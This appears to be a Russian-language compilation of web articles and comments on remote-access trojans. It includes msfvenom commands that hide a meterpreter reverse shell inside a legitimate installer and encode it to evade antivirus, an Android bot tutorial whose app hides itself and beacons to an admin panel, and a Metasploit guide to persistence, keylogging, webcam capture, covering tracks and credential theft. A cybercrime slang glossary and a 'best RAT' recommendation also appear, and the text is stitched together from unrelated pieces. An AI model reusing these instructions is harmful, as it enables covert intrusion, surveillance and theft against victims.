Как закриптовать вирус удаленного доступа


RAT — крыса (английский). Под аббревиатурой RAT скрывается не очень приятное для каждого пользователя обозначение трояна, с помощью которого злоумышленник может получить удалённый доступ к компьютеру. Многие ошибочно переводят эту аббревиатуру как Remote Administration Tool — инструмент для удалённого администрирования, но на самом же деле аббревиатура RAT означает Remote Access Trojan – программа троян для удалённого доступа.

На самом деле шпионская программа RAT это один из наиболее опасных вредоносных программ, который позволяет злоумышленнику получить не просто доступ к вашему компьютеру но и полный контроль над ним. Используя программу RAT, взломщик может удалённо установить клавиатурный шпион или другую вредоносную программу. Также с помощью данной программы хакер может заразить файлы и много чего ещё наделать без вашего ведома.

RAT состоит из двух частей: клиент и сервер. В самой программе RAT(Клиент) которая работает на компьютере злоумышленника создается программа сервер которая посылается жертве. После запуска жертвой сервера в окне программы клиента появляется удалённый компьютер(хост), к которому можно удалённо подключиться. Всё. с этого момента компьютер жертвы под полным контролем злоумышленника.

  • Следить за действиями пользователя
  • Запускать файлы
  • Отключать и останавливать сервисы Windows
  • Снимать и сохранять скрины рабочего стола
  • Запускать Веб-камеру
  • Сканировать сеть
  • Скачивать и модифицировать файлы
  • Мониторить, открывать и закрывать порты
  • Прикалываться над чайниками и ещё многое другое


  • DarkComet Rat
  • CyberGate
  • ProRAT
  • Turkojan
  • Back Orifice
  • Cerberus Rat
  • Spy-Net

Какая самая лучшая программа RAT?
Лучший троян RAT на сегодня это DarkComet Rat(на хаЦкерском жаргоне просто Камета)

Заражение вирусом RAT происходит почти также как другими вредоносными программами через:

  • Массовое заражение на варез и торрент сайтах.
  • Скрипты(эксплойты) на сайтах, которые без вашего ведома загружают RAT на ваш компьютер.
  • Стои отметить что, в большинстве заражение RAT-трояном происходит не от массового а от целенаправленное заражение вашего компьютера друзьями или коллегами.

Кстати не всегда антивирусное по в силах предотвратить заражение, некоторые антивирусы попросту не детектируют вредонос, так как сегодня уже никто не посылает просто трояна, сегодня его предварительно криптуют(что такое крипт и как это делают мы расскажем в другой статье).

  • Не открывать не знакомые файлы, которые вы получаете по почте.
  • Пользоваться безопасными браузерами.
  • Качать и устанавливать программы только с сайта разработчика.
  • Не допускать физического контакта с компьютером посторонних людей.
  • Удалить к чертям антивирус и поставить хороший фаервол и хороший сниффер. Можете конечно оставить антивирус, я понимаю привычка дело такое…, но фаерволом пользоваться вам надо обязательно. Но а если научитесь юзать сниффер, то в моих глазах станете продвинутыми юзверями, без пяти минут специалистами в области компьютерной безопасности ))!


Понять что у вас на компьютере установлен РАТ очень не легко, но можно. Вот признаки которые могут говорить о наличии троянской программы на вашем компьютере:

  • Странная сетевая активность в фаерволе, в частности высокий исходящий трафик.
  • Комп начал тормозить или скорость интернета значительно просела.
  • У вас увели пароль от соц. сетей или почты.
  • Подозрительный трафик в сниффере

Обнаружить троян RAT довольно сложно. Можно скачать бесплатные антивирусы с обновлёнными базами, к примеру отличный на мой взгляд сканер AVZ и просканировать компьютер. На самом деле если вы мало разбираетесь в компьютерах легче не искать иголку в стоге, а предварительно сохранив важные документы отформатировать комп и установить Windows заново.

Кстати устанавливая взломанную Windows вы рискуете заразится вирусом уже на этапе установки. Так как некоторые левые сборки которые раздаются в сети имеют уже вшитые закладки, шпионы, вирусы, скрытые радмины, рмсы и другую красоту. Я знал одного компьютерного мастера который само того не зная устанавливал на машины клиентов левую сборку Windows, знаменитую протрояненную ZverCD

Видео: Работа RAT трояна DarkComet






да без крипта не прокатит, антивир пропалит сразу.
а крипт денег стоит


крипт бесплатен был, бесплатный есть и бесплатным будет.


хорошая статья но автор забыл написать ещё про рат PI



Все ответы на ваши вопросы будут в отдельной статье.


Знаю таков троян, есть много КРЕАТОРОВ таких троянов — на пример самый простой — Dark Comet.
Сам кстати пользуюсь такими креаторами, но ничего вредоносного не делаю, максимум просто по прикалываться.
И это интересно, ещё есть один креатор — называется LinkNet.
Вроде его один поц сделал, на ютубе видосы есть, написан на delphi.
У него ООООЧЕНЬ большой функционал.
Кому надо просто введите LinkNet — CSG Chanell. (Вроде так канал называется.)
Сама прога платная, вроде. Но в коментах под видео некоторые говорят что есть бесплатная версия проги, не знаю крч.


Удалить ратник проще некуда, нужно зайти в автозагрузку и удалить все неизвестные программы из автозагрузки или все, затем перезагрузить ПК также можно заглянуть в планировщик задач и посмотреть там некие странные задания и удалить их.


У DarkComet есть такая функция: Persistant Process и Persistent Startup. Когда ты попытаешься закрыть процесс, не выйдет. Когда попытаешься удалить из автозагрузки: не выйдет. Даже в безопасном режиме не прокатит! Никак! И что чайник будет делать? А если он хорошо закриптован, то его никак не найти! И антивирус его удалять не будет! И никакая программа не поможет, кроме переустановки Windows.

Приветствую всех читателей Дзена. Сегодня мы опять затронем тему создания вирусов. Хочется сразу сказать, что эта статья является основой для моей дальнейшей работы. Пусть вас не смущает то, что мы никак не скрываем вирус, этим мы займемся в дальнейшем. Здесь я просто показываю, как создать зловред, чтобы потом данную информацию не приходилось дублировать в будущем.

И да, я реально создал вирус удаленного доступа который не пропалил Avast. Не надо писать, что это кликбейт.

Ранее я уже выпускал статьи, где не только создавал, но и скрывал в различных формах наш вирус. Кому интересно вот они:

Просто повторять из раза в раз, как создать простой бэкдор не хочется, вот и решил вынести эту информацию отдельно. Также у меня уже есть первая часть, где мы создавали бэкдор для Windows 10 .

Сегодня же наша цель создать вирус удаленного доступа, который впоследствии мы будем скрывать под различными обертками.

Данная статья предоставляется лишь для ознакомления. Она не является побуждением к действиям, которые проделывает автор. Создано лишь в образовательных и развлекательных целях. Помните несанкционированный взлом чужих устройств является противоправным действием и карается по закону. Автор проделывает все действия лишь на собственном оборудовании и в собственной локальной сети.

Всё используемое ПО находится в открытом доступе и не запрещено на территории РФ.

Итак, для работы нам понадобится ОС Kali Linux. О том как её установить я рассказывал здесь , также там вы найдете видео инструкцию по установке.

Тем у кого Kali Linux уже установлен достаточно просто открыть терминал. Пользоваться мы будем Msfvenom. Я покажу несколько вариантов создания полезной нагрузки. Объясню по частям, что означает каждая из частей команды (на последнем варианте), а также приведу команды, которые понадобятся для того, чтобы управлять компьютером жертвы.

Начнем с самого простого, а именно вот с такой команды:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.200.132 LPORT=4444 -a x64 -f exe -o forskeika1.exe

Ничего замудренного. В LHOST вы должны указать свой IP адрес, узнать его можно при помощи команды ifconfig (у меня это 192.168.200.132) . Так как мы атакуем только свои компьютеры и только в локальной сети, я прописываю свой локальный IP. Созданный файл сохранится в той директории, в которой вы сейчас находитесь.

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.200.132 -e x86/shikata_ga_nai -i 5 -b "\x00" -f exe -o virus.exe

Команда немного усовершенствована. Добавлено шифрование (-e x86/shikata_ga_nai) в несколько итераций, в данном случае их 5 ( -i 5).

Пример для другого типа шифрования:

msfvenom --platform windows --arch x64 -p windows/x64/meterpreter/reverse_tcp lhost=192.168.200.132 -e cmd/powershell_base64 -i 10 -b "\x00" -f exe -o virus1.exe

Вы можете выбрать свой тип шифрования. Для просмотра доступных кодировщиков пропишите

Тут я задействую сторонний exe файл какой-либо программы, который нужно предварительно скачать и перед вводом команды перейти в папку, содержащий данный exe файл.

msfvenom --platform windows --arch x64 -x rufus-3.8.exe -k -p windows/x64/meterpreter/reverse_tcp lhost=192.168.200.132 -e cmd/powershell_base64 -i 10 -b "\x00" -f exe -o rufus-3.8.exe

Поясняю, что тут есть что.

  • --platform windows - платформа Windows
  • -x rufus-3.8 .exe - файл, который мы заражаем
  • -k - нужен для встраивания нагрузки
  • -p windows/meterpreter/reverse_tcp - тип полезной нагрузки
  • lhost=192.168.200.132 - ip компьютера атакующего (ваш IP)
  • -e cmd/powershell_base64 - шифрование (оно и помогло не спалиться)
  • -i 10 - количество итераций шифрования
  • -f exe - формат файла
  • -o rufus-3.8 .exe - файл, который вы получите на выходе

На выходе вы получаете файл с такой же иконкой и названием как у оригинала, но только с вирусом удаленного доступа внутри.

Тестировать всё это буду на самой новой Win10 со всеми обновлениями. Вирус без шифрования и с шифрованием x86/shikata_ga_nai без проблем поймались антивирусом. А вот вирус с шифрованием cmd/powershell_base64 остался незамеченным. Avast "говорит", что с данным файлом всё в порядке. Вот это действительно сюрприз.

Я сделал запись с экрана, как я провожу сканирование, чтобы мне потом не писали в комментариях, что автор обманывает. Вот ссылка на эту запись. Хотя по-любому останутся те, кто не верит.

Интересно как долго он не будет палиться антивирусом. Хотя мне кажется, что антивирус всё-таки мог что-то заподозрить и отправить данный файл в лабораторию. Если он не будет палиться еще в течение нескольких суток, я сам отправлю его в лабораторию с указанием, что это вирус. Я же всё-таки не занимаюсь взломом, а наоборот, хочу защитить пользователей.

В темном интернете и в моих статьях зачастую можно встретить много непонятных слов и определений, сегодня я решил внести некоторую ясность и подготовил для вас расшифровку сленга теневых манимейкеров. Надеюсь, что теперь, заходя в Подполье, вы не будете задавать вопросы касаемо определения того или иного сленгового слова.

ТС - Автор конкретной темы.

Оффлайн / онлайн - Типы работы со схемой.

Онлайн - сидя дома (работа в интернете).

Оффлайн - в реальной жизни (предполагает физические передвижения, диалоги и прочее).

Картон - карты (кредитные, дебетовые, не важно).

Пластик - тот же картон, только материальный (реальная пластиковая карта).

Дедик/Ded/Vps - сервер (компьютер, железо, называйте как хотите), который находится где-то далеко от вас, и к которому можно получить доступ (Проще говоря зайти в компьютер (Дедик) через компьютер (Ваш)).

Виртуалка / VM / Virtual Box / VMachine / VM Box - Созданный образ операционной системы, проще говоря виртуальный компьютер в компьютере.

Сео / Буксы / SeO - Сайты, который платят за выполнение различных видов заданий (Скачивания, отзывы, лайки, регистрацию).

RMS - Вирус удаленного доступа, превращает компьютер, на котором этот вирус запустили в своеобразный дедик, подключение к которому может произвести только тот, кто распространял вирус.

Майнер - Программа, добывающая криптовалюту путем решения сложных математических задач.

Стиллер - Программа / Вирус, которая при ее запуске отправляет определенные файлы с компьютера, на котором была запущена, на компьютер / Email / Еще куда-нибудь распространителя этой программы.

ФО - Файлобменник - Сайт, на который можно загрузить файл, и его кто-нибудь сможет скачать.

"Закриптовать" файл - Сделать его невидимым для антивируса.

"Склеить" файл - соединить один файл с другим.

Доски - Сайты типа Юла, Авито и т.д.

Proxy / Прокси - Компьютер, через который может осуществляться процесс смены ip (Это вкратце, не пинайтесь).

VPN - Шифровальный тоннель, проходящий между вашим ПК и серверами службы VPN, Шифрующий исходящий и входящий трафик.

Oбнaл - обналичивание денег с карты путем снятия в банкомате.

Дроп - Человек, выполяющий определенную работу (Зачастую "черную") за плату.

Парсер - Программа, которая подбирает что-либо, по каким-либо критериям.

Брут - Попытка подобрать пароль путем перебора вариантов.

Копипаст - Скопированная тема.

СИ - Социальная инженерия.

Мамонт - Жертва / Лох.

Звонилка - Дешевый телефон.

Телега - Телеграмм, анонимный месседжер.

Куки / Кукисы - Зашифрованные данные (Логин, пароль) хранящиеся в браузере (В папках браузера).

Дамп - Копирование сайта / базы данных (Всего-всего).

БД/BD - База данных.

Домен - Адрес сайта.

Хостинг - Услуга по предоставлению места для физического размещения информации на сервере / Обеспечение подключения к интернету.

Логи / Лог - Записанные действия.

Хайд - Ограничение на просмотр.

Воркеры - Компьютеры, на которых работает майнер.

Репа - Репутация.

Арбитраж - решение спорных вопросов.

Арбитраж (Или арбитаж) Трафика - Оплачиваемое посещение людьми сайта.

Трафик/Траф - Переходы по ссылкам / Скачивания / Любая активность пользователей на каком-то вашем ресурсе.

Kapдuнг - Вид мошенничества, связанный с операциями с картами.

VT / ВТ - Virus Total - Сайт для проверки определенного файлы на наличие заражения (Вируса).

СС - Кредитные карты.

Нал - Наличные / Наличка.

Вафля - WiFi.

Фишинг - Преступление, основанное на СИ.

Пасс / Pass - Пароль.

Профит - Прибыль, выгода.

RAT - Средство удаленного управления.

Пробив - Сбор информации о человеке путем проверки каких-либо данных.

Краны - Раздачи криптовалюты за выполнение заданий.

Вилки - Возможность сделать ставку на любой исход конкретного состязания в двух разных БК.

Гарант - Тот, кто обеспечивает исполнение чего-либо.

Сниффер - Программа для перехвата трафика (Зачастую используют для перехвата Wi-Fi Трафика).

Билд - Конечная программа, которой можно пользоваться.

Билдер - Программа, которая может сделать билд с какими-то определенными параметрами.

Криптор - Программа для криптовки зараженных файлов ("Закриптовать" файл - Сделать его нейтральным для антивируса).

Криптер - Человек, который берет плату за криптовку файла.

Эксплойт - Программа или фрагмент кода, использующие уязвимости в программном обеспечении и применяемые для проведения атаки на вычислительную систему.

Абуз - Получение чего-либо в большом количестве без затрат. Другим словом - Накрутка.

Дырка - Уязвимость

Валид - Очень часто используется для определения типа баз(Email баз типа login:pass), означает, что все аккаунты в базе прошли проверку на вход в определенный ресурс (Check) и полностью подходят для этого ресурса.

Не валид - Это аккаунты, которые не прошли проверку на вход, то есть являются не рабочими для определенного ресурса.

Скам - Заработок путем получения доверия со стороны жертвы и в последующем выполнения необходимых действий.

Дроповод - Человек, имеющий в распоряжении дропов.

Выцепляемые дропы - Это дропы, к которым есть физический выход, в том числе даже через сеть.

Невыцепляемые дропы - Это дропы, к которым нет никакого выхода.

Ручные дропы - Это дроп, который охотно идет с нами на контакт, он выполняет все указания, которые от него требуются.

Не ручной - Это дроп, который выполняет заранее указанную задачу.

Разводной дроп - Это человек, который стал дропом неосознанно.

Неразводной дроп - Это дроп будто компаньон. То есть его завербовали открыто, не разводя, не обманывая. Такие дропы очень популярны, потому что часто на них можно положиться, ведь они хотят получать прибыль со своего ремесла. Для них быть дропом - что то вроде профессии.

Ботнет - Это компьютерная сеть, состоящая из некоторого количества хостов, с запущенными ботами.

Сегодня мы вообразим себя злыми хакерами и займемся написанием настоящего вируса для андроид системы. Мы подробно и с примерами расскажем о основных этапах написания вируса для операционной системы андроид. Не лишним будет напомнить, что эта статья предназначена только для удовлетворения вашего исследовательского интереса. И писать а тем более распространять вирусы не стоит 🙂


Мы все поставили, теперь стоит и подумать, а как тут теперь вирус написать А для этого мы идем в File -> New -> New project. И тут нам предлогают придумать название проекта и домен сайта компании. Вводим что взбредится в голову. На основе этих данных генерируется package имя. Которое использоется как уникальный идентефикатор нашего APK. Жмем далее. Тут нам предлогают выбрать платфурму под наш проект. Ну тут мы выбираем только Phone. Остальное рассмотрим позже.

Далее. И теперь нам предлогают выбрать как будет выглядеть наше окошечко (Activity) стартовое, главное. Тут есть важная особенность. Чтобы запустить какой либо код сразу после установки, нужно чтобы было какой либо из окошек при старте. Поэтому выбираем любое кроме No Activity. Лучше всего выбрать Empty. Будет легче его вычищать, от ненужного мусора. Далее. Пишем название окошку и нажимаем Finish.

Пока файлы нового проекта индексируются и настраивается сборщик проекта.

Пробуем собрать проект наш. Build -> Generate signed apk.. И что мы видим? APK с 1 окошком и приложением которое ни чего не делает. Занимает 1 мегабайт. Надо с этим что-то делать, а именно отказывать от библиотек (AppCompat). Это красивая графика, которая нам не нужна. Переходи в файл MainActivity.java
Заменяем

Заходим в настройки проекта и во вкладке Dependes удаляем строку с AppCompat. Далее переходим к файлу values.xml и styles.xml. Удаляем их.
Заходим в androidManifest.xml и
меняем

Собираем наше приложение, ура! размер меньше 40 кб. Уже есть с чем работать.

Далее, нам нужно спрятать нашего зверька. Чтобы иконка не была видна в списке менеджера приложений. А так же надо закрыть наше приложение.
Вставляем после setContentView(R.layout.activity_main) Следующий код:

Этот код скроет нашу иконку с глаз И после всего этого пишем:

Теперь наше приложение после установки. Запускается и сразу же скрывается с глаз долой. Ух, проделали мы работу. Но надо идти дальше, а то бот не появиться в админке.

Теперь мы должны сделать так, чтобы наш чудесный APK начал стучать в админку. Тут я уже полагаю, что админка где-то написана. И от нас требуется только стучать. Возьмем самый простой метод, он не будет работать корректно на андроидах выше 4.х. Но с чего-то надо же учиться. Я же не за вас работу делаю. Нам нужно создать сервис. Для этого мы создаем файл с новым class. (Правой тыкаем в проекте, на папку Java). Название класса пишем к примеру Network. Нажимаем окей. Удаляем все содержимое файла кроме первой строки где прописан package и заменяем на

Это код описывает класс сервиса, в котором при запуске, запускает таймер и каждые 10 секунд отправляет GET запрос на URL и запрашивает ответ. Но это не все. Этот код не будет работать если мы объявим наш сервис в манифесте и не дадим права выходить в интернет нашему приложению. Идем в манифест.

и в описание application

Осталось запустить наш сервис. Идем в MainActivity и перед finish() вставляем запуск сервиса

Теперь у нас есть апк, который сам себя скрывает после запуска и запускает процес отстука в админ панель. Где написано // Обработка result : там происходит обработка ответа и команд админки. Не сложно, правда? Но пока мы пили пиво. Мы совсем забыли, что если телефон перезагрузят. То наше приложение уже ни когда не запустится. Для этого мы идем опять в манифест.
Добавляем права на запуск после ребута:

Добавляем обязательно обработчик в описание application

Теперь после перезапуска у нас вызовется класс Boot. И сейчас мы его создаим. Все делаем как я писал выше. Создали и удалили все кроме package.

Если есть вопросы, задавайте. В окончании у нас появился прям такой игрушечный бот (APK). Что послужит вам хорошей базой и внесет немного понимания, как это все работает. Спасибо за внимание. Надеюсь будет прододжение Сильно не пинайте, опыт первый, да и еще ночью пришлось писать. А вот критику хотелось бы услышать, чтобы след урок получился лучше.

За данный материал мы благодарны пользователю allmore из форума Damagelab

Этичный хакинг и тестирование на проникновение, информационная безопасность

Оглавление

1. Введение

В этой заметке будет рассмотрен вопрос скрытого управление компьютером на Windows.

Указанная задача может быть решена различными способами. В том числе с применением легитимных программ – к примеру, VNC серверами, TeamViewer (если добавить в автозапуск и скрыть отображение иконки в трее), а также специализированного ПО, в том числе коммерческого. Здесь будет показано, как контролировать чужой компьютер используя Metasploit.

Статья не охватывает проблему доставки полезной нагрузки, инфицирования компьютера жертвы и вопросы предотвращения обнаружения, в том числе антивирусами. Главная цель этого материала – взглянуть на бэкдор глазами хакера для понимания принципов работы и значения угроз. Будет показано, как получить полный доступ над файловой системой, загружать или запускать любой файл, менять разнообразные системные настройки и даже выходить за пределы компьютера: делать снимки веб-камерой, делать видео- и аудио- захват с веб-камеры.

2. Что такое полезная нагрузка (payload)

Для атакующего полезная нагрузка является ключевым элементом, который необходимо доставить на компьютер цели и выполнить. Код полезной нагрузки может быть написан самостоятельно (и это правильный подход, позволяющий значительно снизить шансы обнаружения антивирусами – в этом вы быстро убедитесь сами, если будете пробовать запускать исполнимые файлы с полезной нагрузкой в системах с установленным антивирусом), а можно воспользоваться разнообразными генераторами полезной нагрузки. Суть работы этих программ заключается в том, что вы выбираете типичную задачу (например, инициализация оболочки для ввода команд с обратным подключением), а генератор выдаёт вам исполнимый код под выбранную платформу. Если у вас нет навыков в программировании, то это единственный возможный вариант.

Одним из самых популярных генераторов полезной нагрузки является MSFvenom. Это самостоятельная часть Metasploit, предназначенная для генерации полезной нагрузки.

3. Что такое бэкдоры и трояны

Бэкдор – это программа или технология, дающая несанкционированный доступ к компьютеру или другому устройству (роутер, телефон).

В нашем случае, генерируемая с помощью MSFvenom полезная нагрузка является бэкдором.

Троян – это программа, которая замаскирована под легитимную программу, но несёт в себе полезную нагрузку. Очень часто этой полезной нагрузкой является бэкдор.

Иногда термины троян и бэкдор используют как взаимозаменяемые. Антивирусные компании при наименовании вирусов обычно используют Trojan, даже если программа не маскируется под другую легитимную программу, а является чистым бэкдором, поскольку для доставления полезной нагрузки часто используется социальная инженерия – что вполне вписывается в концепцию Троянского Коня.

Для целей этой статьи классификация на трояны и бэкдоры неважна. MSFvenom генерирует бэкдоры, но с ключом -x (позволяющим указывать пользовательский исполнимый файл для использования в качестве шаблона) можно генерировать трояны, у которых в качестве полезной нагрузки будет бэкдор.

4. Инструкция по использованию MSFvenom – генератора полезной нагрузки

Msfvenom – это программа, которая комбинирует генерацию полезной нагрузки и кодирование. Она заменила две другие программы – msfpayload и msfencode, это произошло 8 июня 2015.

Знакомство с программой начнём со справки по её опциям.

В справке упоминается nopsled, вы можете найти дополнительную информацию о NOP slide в Википедии (хотя для наших целей это неважно).

5. Как создать полезную нагрузку

Для генерации полезной нагрузки обязательными являются два флага: -p and -f.

  • -p windows/meterpreter/reverse_tcp – выбранный тип полезной нагрузки
  • lhost=IP_атакующего – адрес атакующего, для обратного соединения с компьютера жертвы
  • lport=4444 – порт, к которому будет делаться обратное соединение
  • -f exe – формат полезной нагрузки (исполнимый файл Windows)
  • -o /tmp/my_payload.exe – сохранить сгенерированный код в указанный файл

6. Виды полезной нагрузки MSFvenom

Как уже было сказано, флаг -p является обязательным. После него нужно указать то, чего мы хотим от полезной нагрузки.

Чтобы вывести список всех полезных нагрузок, которые поддерживает платформа Metasploit, выполните команду:

Будет выведен такой список:


Список длинный, включает в себя 538 пунктов (на момент написания) под самые разные платформы. Каждая запись состоит из двух столбцов: название полезной нагрузки (которое нужно указывать после опции -p) и её краткое описание.

Название начинается с указания платформы, затем может идти используемая техника или архитектура, в самом конце будет указана основная цель полезной нагрузки. Например, запись windows/meterpreter/reverse_tcp означает внедрение DLL сервера meterpreter через Reflective Dll Injection payload, с образованием обратного соединения до атакующего. Говоря простыми словами, будет создан реверсивный (обратный) шелл до атакующего, который позволит ему управлять целевым компьютером через meterpreter.

Слово meterpreter означает управление через Meterpreter (полное название Meta-Interpreter). Это многогранная программа, она является частью Metasploit с 2004. Работает она через dll внедрение. Скрипты и плагины загружаются и выгружаются динамически. Основы работы с Meterpreter будут раскрыты ниже.

Во многих названиях используются слова bind и reverse. Слово bind означает, что на атакуемой машине процесс будет прослушивать определённый порт, ожидая, пока атакующий подключится к нему. А reverse означает, что на атакуемой машине процесс программы сам инициализирует соединение до атакующего. Поскольку многие файерволы настроены на разрешение исходящих соединений, то обратное (reverse) соединение даёт шанс обойти файервол.

Ключевое слово vncinject означает задействование технологии Virtual Network Computing (VNC) – удалённого доступа к рабочему столу.

Если в имени полезной нагрузки присутствует upexec, значит её цель загрузить и выполнить исполнимый файл.

shell означает открытие командной оболочки.

Ключевое слово dllinject относится к технике Reflective DLL injection. При её использовании полезная нагрузка внедряется в запущенный процесс, прямо в оперативной памяти. При этом она никогда не касается жёстких дисков. Полезные нагрузки VNC и Meterpreter используют reflective DLL injection.

Имеется несколько специфичных полезных нагрузок:

  • windows/adduser. Создаёт пользователя и добавляет его в группу локальных администраторов.
  • windows/dns_txt_query_exec. Выполняет TXT запросы к ряду DNS записей и выполняет полученную полезную нагрузку.
  • windows/download_exec. Загружает EXE с HTTP(S)/FTP URL и выполняет его.
  • windows/exec. Выполняет произвольную команду.
  • windows/format_all_drives. Форматирует все смонтированные в Windows диски (также известная как ShellcodeOfDeath). Если код по каким-либо причинам не может получить доступ к диску, то он пропускает диск и переходит к обработке следующего тома.
  • windows/loadlibrary. Загружает библиотеку по произвольному пути.
  • windows/messagebox. Показывает диалоговое сообщение через MessageBox, используя настраиваемый заголовок, текст и иконку.

По принципу работы, полезную нагрузку можно разделить на два типа:

Большую группу составляют полезные нагрузки, открывающие доступ к оболочке, серверу meterpreter – после их запуска пользователь должен к ним подключиться для выполнения команд.

7. Как узнать опции полезной нагрузки MSFvenom

У многих полезных нагрузок имеются опции. Для их показа применяется флаг --list-options​. Также нужно использовать флаг -p, после которого нужно указать название интересующей полезной нагрузки.


Столбец Required показывает, является ли опция обязательной. Для некоторых опций предусмотрено значение по умолчанию. Если для обязательной опции отсутствует значение по умолчанию, то его нужно указать при генерации полезной нагрузки. Например, для windows/meterpreter/reverse_tcp нужно обязательно указать LHOST.

Вспомним наш пример:

8. Форматы полезной нагрузки

Как уже было сказано, вторым обязательным флагом является -f. Он устанвливает формат полезной нагрузки.

Чтобы вывести список всех поддерживаемых форматов, выполните команду:

9. Примеры генерации полезной нагрузки в MSFvenom

Один из популярных вариантов создания полезной нагрузки под Windows уже показан выше:

Чтобы узнать ваш IP адрес, вы можете, например, воспользоваться командой

Чтобы узнать внешний IP:

Поскольку я моделирую атаку в локальной сети, то я буду использовать локальный IP компьютера с Kali Linux (192.168.0.196):


И будет создан файл backdoor.exe.

Можно комбинировать несколько полезных нагрузок. Это позволяет сделать опция -c, которая указывает на файл с шеллколом win32, который должен быть включён в создаваемую полезную нагрузку.

Мы использовали полезную нагрузку windows/messagebox (создаёт диалоговое окно), эта полезная нагрузка без кодирования (-f raw) была сохранена в файл mes1.

Далее мы вновь используем windows/messagebox, и без кодирования сохраняем в файл mes2. После ключа -c мы указываем файл (mes1), который должен быть включён в создаваемую полезную нагрузку.

Наконец, уже знакомая нам команда по созданию исполнимого файла, обратите внимание на опцию -c mes2, ей мы добавляем в создаваемый бинарник ранее сгенерированный файл mes2, который уже содержит mes1:

Будет создан файл driver_dlya_tvoego_computera.exe, который при запуске покажет два окна и после этого попытается подключиться к удалённому компьютеру.

Опция -x позволяет указать существующий исполнимый файл (шаблон). Это можно делать для уменьшения подозрения пользователя (исполнимый файл может выполнять полезную для пользователя функцию), либо таким образом можно попытаться заменить уже существующий в системе файл.

Опция -k вместе с предыдущей сохранит нормальное поведение шаблона, и внедрённая полезная нагрузка будет выполняться как отдельный поток:

10. Работа с бэкдорами в Metasploit

Обратите внимание, что если вместо windows/meterpreter/reverse_tcp вы выбрали другую полезную нагрузку, то в предыдущей команде замените эту строку на свою.

Нужно установить настройки – IP и порт локальной машины:

Не забудьте строку 192.168.0.196 поменять на свой IP адрес. Если вы не меняли порт, то его можно не настраивать, поскольку значением по умолчанию является 4444.

Когда настройки сделаны, запустите выполнение модуля:



11. Основы работы в Meterpreter (Meta-Interpreter)

Для показа справки наберите ? или help. Разнообразных команд много. Думаю, стоит затратить время, чтобы ознакомится с ними со всеми. Если вы хотите получить информацию об опциях конкретной команды, напишите команду и добавьте флаг -h, например, следующая команда покажет опции модуля для управления веб-камерой:


Основные команды:

Итак, с помощью ключевых команд мы можем автоматизировать процесс (выполнять команды из файла), записывать данные в канал, для последующего использования, выполнять долгие задачи в фоне. Особенно обратим внимание на команды info и run – первая покажет информацию об интересующем модуле последующей эксплуатации, а вторая запустит выбранный модуль – к этим вопросам мы вернёмся позже.

Рассмотрим команды файловой системы, некоторые из них имеют одинаковые названия с аналогичными командами в оболочке Linux:

Например, я хочу на удалённый компьютер выгрузить файл driver_dlya_tvoego_computera.exe:


Просматриваем список файлов на удалённом компьютере и загружаем с него файл allen.zip:


Сетевые команды:

Системные команды:

Системные команды позволяют получить доступ к удалённой оболочке, что даёт возможность непосредственно вводить команды, позволяют завершать процессы, выключать или перезагружать компьютер, выполнять команды уровня ОС, а также собирать информацию и заметать следы.

Команды пользовательского интерфейса:

Данный набор команд позволяет делать скриншоты с удалённого компьютера, отключать и включать мышь, клавиатуру, следить на нажатыми пользователем клавишами.

Для начала захвата нажатия клавиш введите:

Чтобы посмотреть, какие клавиши и в каких программах ввёл пользователь выполните:


Команды для управления веб-камерой:

На мой взгляд, очень интересные функции. Чтобы проверить, имеет ли компьютер жертвы веб-камеры выполните

В моём случае обнаружена одна веб-камера SC-20FHL11146M, чтобы сделать с неё снимок набираю (замените имя веб-камеры):

Будет сделана и показана фотография с веб-камеры удалённого компьютера.


Команды вывода аудио:

Команды повышения привилегий:

Команда для работы с базой данных паролей:

Команды для работы с Timestomp (временными метками файла):

Чтобы замести следы, иногда может быть полезным изменить атрибуты MACE (запись изменения, доступа, создания) файла.

12. Скрытый доступ к удалённому рабочему столу (VNC)

Для скрытого доступа к удалённому рабочему столу посредством VNC нужно выбрать полезную нагрузку, содержащую слово vncinject, к примеру, такой полезной нагрузкой является windows/vncinject/reverse_tcp:

Далее запустите Metasploit (если вы это ещё не сделали):

Обратите внимание, что в отличие от работы с Meterpreter, мы используем exploit/windows/smb/ms09_050_smb2_negotiate_func_index. Также нам необходимо установить IP адрес удалённого хоста (set rhost 192.168.0.244).

После запуска эксплойта, запустите исполнимый файл с полезной нагрузкой на компьютере жертвы. Вы увидите удалённый рабочий стол компьютера жертвы.

В качестве альтернативы, можно использовать 64-битную версию полезной нагрузки: windows/x64/vncinject/reverse_tcp.

На машине атакующего должен быть установлен VNC клиент (просмотрщик).

13. Закрепление доступа

До недавнего времени для закрепления доступа – создания бэкдора, который запускается при каждой загрузки системы – использовался скрипт persistence:

Но в настоящее время скрипты Meterpreter считаются устаревшими, поэтому рекомендуется использовать модуль post/windows/manage/persistence_exe. Это Windows Manage Persistent EXE Payload Installer, т.е. установщик постоянной полезной нагрузки EXE в Windows.

Этот модуль выгрузит на удалённый хост исполнимый файл и сделает его постоянным – т.е. скопирует в определённое место и добавит ключ в реестр Windows для автоматического запуска при каждом старте Windows. Он может быть установлен как USER, SYSTEM или SERVICE. При выборе USER, программа запустится при входе пользователя; при выборе SYSTEM – запустится при загрузке системы, для этого требуются соответствующие привилегии; при выборе SERVICE будет создана служба, которая запустит полезную нагрузку, также требуются привилегии.

Эта команда означает, что на удалённый хост будет выгружен файл payload.exe, который на локальной системе размещён по пути /local/path/to/your/payload.exe, этот файл на удалённой системе будет переименован в default.exe и будет запущен с системными привилегиями.

Ещё один пример:


Модуль вывел следующую информацию:

Т.е. на удалённой системе файл сохранён по пути C:\Users\Alex\AppData\Local\Temp\default.exe, для автозапуска сделана запись в реестре Windows по пути HKCU\Software\Microsoft\Windows\CurrentVersion\Run\MHlFtyrXIllAQ.


14. Модули последующей эксплуатации Metasploit

post/windows/manage/persistence_exe – это всего лишь один из модулей последующей эксплуатации, которые присутствуют в Metasploit для Windows.

  • post/windows/gather/enum_chrome – извлечение чувствительной информации из веб-браузера Google Chrome
  • post/windows/gather/credentials/total_commander – извлечение паролей из Total Commander
  • post/windows/escalate/screen_unlock – разблокировка экрана Windows (будьте осторожны с этим модулем)
  • post/windows/gather/phish_windows_credentials – фишинговая атака на учётные данные Windows

Количество модулей достаточно велико:


Все эти модули можно применять во время сеанса Meterpreter.

15. Когда обратный шелл не нужен

